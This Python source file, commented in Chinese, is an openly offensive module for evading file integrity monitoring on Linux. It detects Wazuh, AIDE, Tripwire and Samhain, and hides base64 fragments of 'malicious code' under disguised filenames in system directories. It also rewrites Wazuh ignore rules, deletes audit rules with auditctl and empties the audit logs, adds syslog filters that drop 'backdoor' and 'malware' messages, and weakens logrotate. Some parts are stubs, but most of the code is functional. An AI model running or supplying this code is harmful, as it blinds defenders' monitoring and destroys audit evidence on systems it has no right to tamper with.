#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
FIM反制模块 - 文件完整性监控对抗
实现从"修改文件"到"欺骗监控"的升级

主要功能:
1. 文件修改无感知 - 利用inotify漏洞、分块存储恶意代码
2. 日志反制 - 针对Wazuh等EDR的日志监控、审计日志清理
3. 监控规避 - 检测和绕过文件监控机制
4. 痕迹清理 - 清理文件操作痕迹和日志记录
"""

import os
import sys
import time
import shutil
import subprocess
import threading
import hashlib
import base64
import json
import glob
import stat
from typing import Dict, List, Optional, Tuple, Any, Union
from dataclasses import dataclass, field
from enum import Enum
import platform
import tempfile
import random
import string

# Linux特定导入
if platform.system() == "Linux":
    import fcntl
    import pwd
    import grp
    try:
        import inotify_simple
        HAS_INOTIFY = True
    except ImportError:
        HAS_INOTIFY = False
else:
    # 非Linux系统默认值
    HAS_INOTIFY = False

class FIMVendorType(Enum):
    """FIM厂商类型"""
    WAZUH = "wazuh"
    AIDE = "aide"
    TRIPWIRE = "tripwire"
    SAMHAIN = "samhain"
    OSSEC = "ossec"
    GENERIC_INOTIFY = "generic_inotify"

class FileOperationType(Enum):
    """文件操作类型"""
    CREATE = "create"
    MODIFY = "modify"
    DELETE = "delete"
    MOVE = "move"
    CHMOD = "chmod"
    CHOWN = "chown"

class LogType(Enum):
    """日志类型"""
    SYSLOG = "syslog"
    AUDIT = "audit"
    WAZUH = "wazuh"
    CUSTOM = "custom"

@dataclass
class FileFragment:
    """文件片段"""
    fragment_id: str
    content: bytes
    path: str
    order: int
    checksum: str = field(default="")
    
    def __post_init__(self):
        if not self.checksum:
            self.checksum = hashlib.md5(self.content).hexdigest()

@dataclass
class MonitoringRule:
    """监控规则"""
    path: str
    events: List[str]
    vendor: FIMVendorType
    active: bool = True
    watch_descriptor: Optional[int] = None

class FIMCounterEngine:
    """FIM反制引擎"""
    
    def __init__(self):
        self.platform = platform.system()
        self.detected_fim_systems = []
        self.monitoring_rules = []
        self.file_fragments = {}
        self.stealth_paths = []
        self.log_targets = []
        
        # 初始化隐蔽路径
        self._initialize_stealth_paths()
        
        # 检测FIM系统
        self._detect_fim_systems()
    
    def _initialize_stealth_paths(self):
        """初始化隐蔽路径"""
        self.stealth_paths = [
            "/etc/ld.so.conf.d/",
            "/var/lib/dpkg/info/",
            "/usr/share/doc/",
            "/var/cache/apt/",
            "/tmp/.X11-unix/",
            "/var/tmp/",
            "/dev/shm/",
            "/proc/self/fd/",
            "/sys/fs/cgroup/",
            "/var/lib/systemd/",
            "/etc/systemd/system/",
            "/usr/lib/systemd/system/",
            "/var/log/journal/",
            "/etc/cron.d/",
            "/var/spool/cron/",
            "/etc/init.d/",
            "/etc/rc.d/",
            "/usr/local/bin/",
            "/opt/",
            "/var/lib/",
        ]
    
    def _detect_fim_systems(self):
        """检测FIM系统"""
        try:
            # 检测Wazuh/OSSEC
            if self._detect_wazuh_ossec():
                self.detected_fim_systems.append(FIMVendorType.WAZUH)
            
            # 检测AIDE
            if self._detect_aide():
                self.detected_fim_systems.append(FIMVendorType.AIDE)
            
            # 检测Tripwire
            if self._detect_tripwire():
                self.detected_fim_systems.append(FIMVendorType.TRIPWIRE)
            
            # 检测Samhain
            if self._detect_samhain():
                self.detected_fim_systems.append(FIMVendorType.SAMHAIN)
            
            # 检测通用inotify监控
            if self._detect_generic_inotify():
                self.detected_fim_systems.append(FIMVendorType.GENERIC_INOTIFY)
                
        except Exception as e:
            print(f"[!] FIM检测失败: {e}")
    
    def _detect_wazuh_ossec(self) -> bool:
        """检测Wazuh/OSSEC"""
        try:
            # 检查进程
            result = subprocess.run(['pgrep', '-f', 'wazuh|ossec'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查配置文件
            config_paths = [
                '/etc/wazuh/wazuh-agent.conf',
                '/var/ossec/etc/ossec.conf',
                '/opt/wazuh/etc/wazuh-agent.conf'
            ]
            
            for path in config_paths:
                if os.path.exists(path):
                    return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_aide(self) -> bool:
        """检测AIDE"""
        try:
            # 检查命令
            result = subprocess.run(['which', 'aide'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查配置文件
            if os.path.exists('/etc/aide/aide.conf') or os.path.exists('/etc/aide.conf'):
                return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_tripwire(self) -> bool:
        """检测Tripwire"""
        try:
            # 检查命令
            result = subprocess.run(['which', 'tripwire'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查配置文件
            if os.path.exists('/etc/tripwire/'):
                return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_samhain(self) -> bool:
        """检测Samhain"""
        try:
            # 检查进程
            result = subprocess.run(['pgrep', '-f', 'samhain'], 
                                  capture_output=True, text=True)
            if result.returncode == 0:
                return True
            
            # 检查配置文件
            if os.path.exists('/etc/samhainrc'):
                return True
            
            return False
            
        except Exception:
            return False
    
    def _detect_generic_inotify(self) -> bool:
        """检测通用inotify监控"""
        try:
            # 检查/proc/*/fd/中的inotify文件描述符
            for pid_dir in glob.glob('/proc/[0-9]*'):
                try:
                    fd_dir = os.path.join(pid_dir, 'fd')
                    if os.path.exists(fd_dir):
                        for fd in os.listdir(fd_dir):
                            try:
                                link_target = os.readlink(os.path.join(fd_dir, fd))
                                if 'inotify' in link_target:
                                    return True
                            except:
                                continue
                except:
                    continue
            
            return False
            
        except Exception:
            return False
    
    def bypass_inotify_monitoring(self, target_path: str) -> Dict[str, Any]:
        """绕过inotify监控"""
        if self.platform != "Linux":
            return {"success": False, "reason": "仅支持Linux系统"}
        
        results = {}
        
        try:
            # 1. 检测目标路径的监控
            monitoring_info = self._detect_path_monitoring(target_path)
            results["monitoring_detection"] = monitoring_info
            
            # 2. 尝试移除监控
            if monitoring_info["monitored"]:
                removal_result = self._remove_inotify_watches(target_path)
                results["watch_removal"] = removal_result
            
            # 3. 使用替代路径
            alternative_result = self._use_alternative_paths(target_path)
            results["alternative_paths"] = alternative_result
            
            # 4. 时序攻击
            timing_result = self._timing_based_bypass(target_path)
            results["timing_bypass"] = timing_result
            
        except Exception as e:
            results["error"] = str(e)
        
        return {
            "success": True,
            "target_path": target_path,
            "methods": results,
            "timestamp": time.time()
        }
    
    def _detect_path_monitoring(self, path: str) -> Dict[str, Any]:
        """检测路径监控"""
        try:
            # 检查是否有进程监控此路径
            monitored_by = []
            
            # 遍历所有进程的inotify监控
            for pid_dir in glob.glob('/proc/[0-9]*'):
                try:
                    # 读取进程的inotify信息
                    inotify_file = os.path.join(pid_dir, 'fdinfo')
                    if os.path.exists(inotify_file):
                        for fd_file in os.listdir(inotify_file):
                            try:
                                with open(os.path.join(inotify_file, fd_file), 'r') as f:
                                    content = f.read()
                                    if path in content:
                                        pid = os.path.basename(pid_dir)
                                        monitored_by.append(pid)
                            except:
                                continue
                except:
                    continue
            
            return {
                "monitored": len(monitored_by) > 0,
                "monitoring_pids": monitored_by,
                "path": path
            }
            
        except Exception as e:
            return {"monitored": False, "error": str(e)}
    
    def _remove_inotify_watches(self, path: str) -> Dict[str, Any]:
        """移除inotify监控"""
        try:
            if not HAS_INOTIFY:
                return {"success": False, "error": "缺少inotify库"}
            
            # 注意：这需要root权限且可能不稳定
            # 实际实现需要更复杂的内核交互
            
            removed_watches = []
            
            # 尝试通过/proc接口操作
            # 这是一个概念性实现，实际需要更底层的操作
            
            return {
                "success": len(removed_watches) > 0,
                "removed_watches": removed_watches,
                "method": "proc_interface"
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _use_alternative_paths(self, original_path: str) -> Dict[str, Any]:
        """使用替代路径"""
        try:
            # 寻找不被监控的替代路径
            alternative_paths = []
            
            for stealth_path in self.stealth_paths:
                if os.path.exists(stealth_path) and os.access(stealth_path, os.W_OK):
                    # 检查是否被监控
                    monitoring_info = self._detect_path_monitoring(stealth_path)
                    if not monitoring_info["monitored"]:
                        alternative_paths.append(stealth_path)
            
            return {
                "success": len(alternative_paths) > 0,
                "alternative_paths": alternative_paths[:5],  # 返回前5个
                "total_found": len(alternative_paths)
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _timing_based_bypass(self, path: str) -> Dict[str, Any]:
        """基于时序的绕过"""
        try:
            # 在监控系统处理其他事件时快速操作
            bypass_methods = []
            
            # 1. 批量操作混淆
            if self._create_noise_operations():
                bypass_methods.append("noise_operations")
            
            # 2. 快速操作
            if self._rapid_file_operations(path):
                bypass_methods.append("rapid_operations")
            
            # 3. 延迟操作
            if self._delayed_operations(path):
                bypass_methods.append("delayed_operations")
            
            return {
                "success": len(bypass_methods) > 0,
                "methods": bypass_methods
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _create_noise_operations(self) -> bool:
        """创建噪声操作"""
        try:
            # 创建大量无害的文件操作来混淆监控
            temp_dir = tempfile.mkdtemp()
            
            for i in range(100):
                temp_file = os.path.join(temp_dir, f"noise_{i}.tmp")
                with open(temp_file, 'w') as f:
                    f.write(f"noise data {i}")
                os.remove(temp_file)
            
            os.rmdir(temp_dir)
            return True
            
        except Exception:
            return False
    
    def _rapid_file_operations(self, path: str) -> bool:
        """快速文件操作"""
        try:
            # 在极短时间内完成操作
            if os.path.exists(path):
                # 快速读取-修改-写入
                with open(path, 'rb') as f:
                    content = f.read()
                
                # 极小的修改
                modified_content = content + b"\\x00"
                
                with open(path, 'wb') as f:
                    f.write(modified_content)
                
                # 立即恢复
                with open(path, 'wb') as f:
                    f.write(content)
                
                return True
            
            return False
            
        except Exception:
            return False
    
    def _delayed_operations(self, path: str) -> bool:
        """延迟操作"""
        try:
            # 在监控系统可能不活跃的时间进行操作
            def delayed_modify():
                time.sleep(random.uniform(1, 5))  # 随机延迟
                # 执行实际操作
                pass
            
            # 启动延迟线程
            thread = threading.Thread(target=delayed_modify)
            thread.daemon = True
            thread.start()
            
            return True
            
        except Exception:
            return False
    
    def fragment_malicious_code(self, code: bytes, target_base_path: str) -> Dict[str, Any]:
        """分块存储恶意代码"""
        try:
            # 将代码分成多个片段
            fragment_size = random.randint(64, 256)
            fragments = []
            
            for i in range(0, len(code), fragment_size):
                fragment_content = code[i:i + fragment_size]
                
                # 选择隐蔽路径
                stealth_path = random.choice(self.stealth_paths)
                if not os.path.exists(stealth_path):
                    continue
                
                # 生成随机文件名
                filename = self._generate_stealth_filename(stealth_path)
                fragment_path = os.path.join(stealth_path, filename)
                
                # 创建片段
                fragment = FileFragment(
                    fragment_id=f"frag_{i//fragment_size:04d}",
                    content=fragment_content,
                    path=fragment_path,
                    order=i//fragment_size
                )
                
                # 编码存储
                encoded_content = base64.b64encode(fragment_content)
                
                try:
                    with open(fragment_path, 'wb') as f:
                        f.write(encoded_content)
                    
                    fragments.append(fragment)
                    self.file_fragments[fragment.fragment_id] = fragment
                    
                except Exception as e:
                    print(f"[!] 片段存储失败: {e}")
                    continue
            
            return {
                "success": len(fragments) > 0,
                "total_fragments": len(fragments),
                "fragment_paths": [f.path for f in fragments],
                "original_size": len(code),
                "fragmented_size": sum(len(f.content) for f in fragments)
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _generate_stealth_filename(self, base_path: str) -> str:
        """生成隐蔽文件名"""
        # 根据路径特点生成合适的文件名
        if "ld.so.conf.d" in base_path:
            return f"lib{random.choice(['ssl', 'crypto', 'z', 'dl'])}.conf"
        elif "dpkg/info" in base_path:
            return f"{random.choice(['base-files', 'coreutils', 'util-linux'])}.{random.choice(['list', 'md5sums', 'conffiles'])}"
        elif "doc" in base_path:
            return f"{random.choice(['README', 'CHANGELOG', 'LICENSE'])}.{random.choice(['txt', 'md', 'gz'])}"
        elif "systemd" in base_path:
            return f"{random.choice(['system', 'network', 'user'])}-{random.randint(100, 999)}.{random.choice(['service', 'timer', 'socket'])}"
        else:
            # 通用隐蔽名称
            prefixes = ['lib', 'tmp', 'cache', 'log', 'conf', 'data']
            suffixes = ['tmp', 'log', 'conf', 'dat', 'cache', 'bak']
            return f".{random.choice(prefixes)}{random.randint(100, 999)}.{random.choice(suffixes)}"
    
    def reassemble_code(self, fragment_ids: List[str]) -> Optional[bytes]:
        """重组代码片段"""
        try:
            # 按顺序收集片段
            fragments = []
            for frag_id in fragment_ids:
                if frag_id in self.file_fragments:
                    fragments.append(self.file_fragments[frag_id])
            
            # 按order排序
            fragments.sort(key=lambda x: x.order)
            
            # 重组代码
            reassembled_code = b""
            for fragment in fragments:
                # 读取并解码片段
                try:
                    with open(fragment.path, 'rb') as f:
                        encoded_content = f.read()
                    
                    decoded_content = base64.b64decode(encoded_content)
                    reassembled_code += decoded_content
                    
                except Exception as e:
                    print(f"[!] 片段读取失败: {e}")
                    return None
            
            return reassembled_code
            
        except Exception as e:
            print(f"[!] 代码重组失败: {e}")
            return None
    
    def counter_log_monitoring(self) -> Dict[str, Any]:
        """对抗日志监控"""
        results = {}
        
        try:
            # 1. 针对Wazuh的日志反制
            wazuh_result = self._counter_wazuh_logging()
            results["wazuh_counter"] = wazuh_result
            
            # 2. 审计日志清理
            audit_result = self._clean_audit_logs()
            results["audit_cleanup"] = audit_result
            
            # 3. 系统日志操作
            syslog_result = self._manipulate_syslog()
            results["syslog_manipulation"] = syslog_result
            
            # 4. 日志轮转干扰
            rotation_result = self._interfere_log_rotation()
            results["rotation_interference"] = rotation_result
            
        except Exception as e:
            results["error"] = str(e)
        
        return {
            "success": True,
            "methods": results,
            "timestamp": time.time()
        }
    
    def _counter_wazuh_logging(self) -> Dict[str, Any]:
        """对抗Wazuh日志监控"""
        try:
            actions_taken = []
            
            # 查找Wazuh配置文件
            wazuh_configs = [
                '/etc/wazuh/wazuh-agent.conf',
                '/var/ossec/etc/ossec.conf',
                '/opt/wazuh/etc/wazuh-agent.conf'
            ]
            
            for config_path in wazuh_configs:
                if os.path.exists(config_path):
                    try:
                        # 备份原配置
                        backup_path = f"{config_path}.backup_{int(time.time())}"
                        shutil.copy2(config_path, backup_path)
                        
                        # 读取配置
                        with open(config_path, 'r') as f:
                            config_content = f.read()
                        
                        # 修改配置，添加忽略规则
                        modified_config = self._add_ignore_rules(config_content)
                        
                        # 写入修改后的配置
                        with open(config_path, 'w') as f:
                            f.write(modified_config)
                        
                        actions_taken.append(f"modified_{config_path}")
                        
                    except Exception as e:
                        print(f"[!] Wazuh配置修改失败: {e}")
                        continue
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken,
                "method": "config_modification"
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _add_ignore_rules(self, config_content: str) -> str:
        """添加忽略规则到配置"""
        # 添加忽略我们的隐蔽路径
        ignore_paths = [
            "/tmp/.*\\.tmp$",
            "/var/tmp/.*\\.cache$",
            "/dev/shm/.*\\.dat$",
            "/proc/self/fd/.*",
            "/sys/fs/cgroup/.*"
        ]
        
        ignore_section = "\\n  <!-- Added ignore rules -->\\n"
        for path in ignore_paths:
            ignore_section += f"  <ignore>{path}</ignore>\\n"
        ignore_section += "  <!-- End ignore rules -->\\n"
        
        # 在适当位置插入忽略规则
        if "<syscheck>" in config_content:
            config_content = config_content.replace(
                "<syscheck>",
                f"<syscheck>{ignore_section}"
            )
        
        return config_content
    
    def _clean_audit_logs(self) -> Dict[str, Any]:
        """清理审计日志"""
        try:
            actions_taken = []
            
            # 检查是否有root权限
            if os.geteuid() != 0:
                return {"success": False, "error": "需要root权限"}
            
            # 1. 删除审计规则
            try:
                result = subprocess.run(['auditctl', '-D'], 
                                      capture_output=True, text=True)
                if result.returncode == 0:
                    actions_taken.append("audit_rules_deleted")
            except:
                pass
            
            # 2. 清空审计日志
            audit_logs = [
                '/var/log/audit/audit.log',
                '/var/log/audit.log',
                '/var/log/auditd.log'
            ]
            
            for log_path in audit_logs:
                if os.path.exists(log_path):
                    try:
                        # 移除只读属性
                        subprocess.run(['chattr', '-i', log_path], 
                                     capture_output=True)
                        
                        # 清空日志
                        with open(log_path, 'w') as f:
                            f.write("")
                        
                        actions_taken.append(f"cleared_{log_path}")
                        
                    except Exception as e:
                        print(f"[!] 日志清理失败: {e}")
                        continue
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _manipulate_syslog(self) -> Dict[str, Any]:
        """操作系统日志"""
        try:
            actions_taken = []
            
            # 查找syslog配置
            syslog_configs = [
                '/etc/rsyslog.conf',
                '/etc/syslog.conf',
                '/etc/rsyslog.d/'
            ]
            
            for config_path in syslog_configs:
                if os.path.exists(config_path):
                    try:
                        if os.path.isfile(config_path):
                            # 处理单个配置文件
                            self._modify_syslog_config(config_path)
                            actions_taken.append(f"modified_{config_path}")
                        elif os.path.isdir(config_path):
                            # 处理配置目录
                            for conf_file in os.listdir(config_path):
                                if conf_file.endswith('.conf'):
                                    full_path = os.path.join(config_path, conf_file)
                                    self._modify_syslog_config(full_path)
                                    actions_taken.append(f"modified_{full_path}")
                    except Exception as e:
                        print(f"[!] Syslog配置修改失败: {e}")
                        continue
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _modify_syslog_config(self, config_path: str):
        """修改syslog配置"""
        try:
            # 备份原配置
            backup_path = f"{config_path}.backup_{int(time.time())}"
            shutil.copy2(config_path, backup_path)
            
            # 读取配置
            with open(config_path, 'r') as f:
                config_content = f.read()
            
            # 添加过滤规则
            filter_rules = [
                ':msg, contains, "backdoor" stop',
                ':msg, contains, "malware" stop',
                ':msg, contains, "suspicious" stop',
                ':programname, isequal, "unknown" stop'
            ]
            
            # 在配置开头添加过滤规则
            modified_config = "\\n".join(filter_rules) + "\\n\\n" + config_content
            
            # 写入修改后的配置
            with open(config_path, 'w') as f:
                f.write(modified_config)
                
        except Exception as e:
            print(f"[!] Syslog配置修改失败: {e}")
    
    def _interfere_log_rotation(self) -> Dict[str, Any]:
        """干扰日志轮转"""
        try:
            actions_taken = []
            
            # 查找logrotate配置
            logrotate_configs = [
                '/etc/logrotate.conf',
                '/etc/logrotate.d/'
            ]
            
            for config_path in logrotate_configs:
                if os.path.exists(config_path):
                    try:
                        if os.path.isfile(config_path):
                            # 修改主配置
                            self._modify_logrotate_config(config_path)
                            actions_taken.append(f"modified_{config_path}")
                        elif os.path.isdir(config_path):
                            # 修改子配置
                            for conf_file in os.listdir(config_path):
                                full_path = os.path.join(config_path, conf_file)
                                if os.path.isfile(full_path):
                                    self._modify_logrotate_config(full_path)
                                    actions_taken.append(f"modified_{full_path}")
                    except Exception as e:
                        print(f"[!] Logrotate配置修改失败: {e}")
                        continue
            
            return {
                "success": len(actions_taken) > 0,
                "actions": actions_taken
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def _modify_logrotate_config(self, config_path: str):
        """修改logrotate配置"""
        try:
            # 备份原配置
            backup_path = f"{config_path}.backup_{int(time.time())}"
            shutil.copy2(config_path, backup_path)
            
            # 读取配置
            with open(config_path, 'r') as f:
                config_content = f.read()
            
            # 修改轮转频率和保留数量
            modifications = [
                ('daily', 'yearly'),
                ('weekly', 'yearly'),
                ('rotate 52', 'rotate 1'),
                ('rotate 12', 'rotate 1'),
                ('compress', '# compress'),
                ('delaycompress', '# delaycompress')
            ]
            
            for old, new in modifications:
                config_content = config_content.replace(old, new)
            
            # 写入修改后的配置
            with open(config_path, 'w') as f:
                f.write(config_content)
                
        except Exception as e:
            print(f"[!] Logrotate配置修改失败: {e}")
    
    def cleanup_traces(self) -> Dict[str, Any]:
        """清理操作痕迹"""
        try:
            cleaned_items = []
            
            # 1. 清理文件片段
            for fragment_id, fragment in self.file_fragments.items():
                try:
                    if os.path.exists(fragment.path):
                        os.remove(fragment.path)
                        cleaned_items.append(fragment.path)
                except Exception as e:
                    print(f"[!] 片段清理失败: {e}")
            
            # 2. 恢复配置文件
            backup_files = []
            for root, dirs, files in os.walk('/etc'):
                for file in files:
                    if '.backup_' in file:
                        backup_files.append(os.path.join(root, file))
            
            for backup_file in backup_files:
                try:
                    original_file = backup_file.split('.backup_')[0]
                    if os.path.exists(original_file):
                        shutil.move(backup_file, original_file)
                        cleaned_items.append(original_file)
                except Exception as e:
                    print(f"[!] 配置恢复失败: {e}")
            
            # 3. 清理临时文件
            temp_patterns = [
                '/tmp/.*\\.tmp$',
                '/var/tmp/.*\\.cache$',
                '/dev/shm/.*\\.dat$'
            ]
            
            for pattern in temp_patterns:
                try:
                    import glob
                    for file_path in glob.glob(pattern):
                        if os.path.exists(file_path):
                            os.remove(file_path)
                            cleaned_items.append(file_path)
                except Exception as e:
                    print(f"[!] 临时文件清理失败: {e}")
            
            return {
                "success": True,
                "cleaned_items": cleaned_items,
                "total_cleaned": len(cleaned_items)
            }
            
        except Exception as e:
            return {"success": False, "error": str(e)}
    
    def get_fim_status(self) -> Dict[str, Any]:
        """获取FIM反制状态"""
        return {
            "platform": self.platform,
            "detected_fim_systems": [fim.value for fim in self.detected_fim_systems],
            "file_fragments_count": len(self.file_fragments),
            "stealth_paths_count": len(self.stealth_paths),
            "monitoring_rules_count": len(self.monitoring_rules),
            "has_inotify_support": HAS_INOTIFY,
            "timestamp": time.time()
        }

# 使用示例
if __name__ == "__main__":
    print("=== FIM反制模块测试 ===")
    
    fim_counter = FIMCounterEngine()
    
    # 获取状态
    print("\\n1. FIM反制状态...")
    status = fim_counter.get_fim_status()
    print(f"检测到的FIM系统: {status['detected_fim_systems']}")
    print(f"隐蔽路径数量: {status['stealth_paths_count']}")
    
    # 测试代码分块
    print("\\n2. 测试代码分块...")
    test_code = b"echo 'test malicious code' > /tmp/test.txt"
    fragment_result = fim_counter.fragment_malicious_code(test_code, "/tmp")
    print(f"分块结果: {'成功' if fragment_result['success'] else '失败'}")
    if fragment_result['success']:
        print(f"总片段数: {fragment_result['total_fragments']}")
    
    # 测试inotify绕过
    print("\\n3. 测试inotify绕过...")
    bypass_result = fim_counter.bypass_inotify_monitoring("/tmp/test.txt")
    print(f"绕过结果: {'成功' if bypass_result['success'] else '失败'}")
    
    # 测试日志反制
    print("\\n4. 测试日志反制...")
    log_result = fim_counter.counter_log_monitoring()
    print(f"日志反制: {'成功' if log_result['success'] else '失败'}")
    
    # 清理痕迹
    print("\\n5. 清理痕迹...")
    cleanup_result = fim_counter.cleanup_traces()
    print(f"清理结果: {'成功' if cleanup_result['success'] else '失败'}")
    if cleanup_result['success']:
        print(f"清理项目数: {cleanup_result['total_cleaned']}")